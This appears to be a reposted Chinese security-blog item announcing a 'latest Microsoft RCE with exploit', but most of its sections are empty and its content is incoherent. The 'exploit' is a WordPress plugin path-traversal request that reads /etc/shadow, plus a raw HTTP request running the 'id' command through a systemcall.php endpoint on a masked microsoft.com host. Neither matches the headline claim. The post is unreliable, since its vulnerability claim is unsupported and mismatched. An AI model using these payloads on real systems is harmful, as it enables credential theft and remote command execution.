0x01 前言
微软RCE。
0x02 漏洞影响
0x03 漏洞复现
0x04 修复方案
![漏洞速递 | Microsoft微软最新RCE漏洞（附EXP）]( "漏洞速递 | Microsoft微软最新RCE漏洞（附EXP）")
影响版本
微软~~~EXP如下：
/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=/etc/shadow
GET /pages/systemcall.php?command=id HTTP/1.1Host: ***.microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Accept: */*Origin: chrome-extension://bhimnoepicmcjfkbmhckamllnibadfalAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
success！
请升级最新版本。 
原文始发于微信公众号（阿无安全）：漏洞速递 | Microsoft微软最新RCE漏洞（附EXP）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论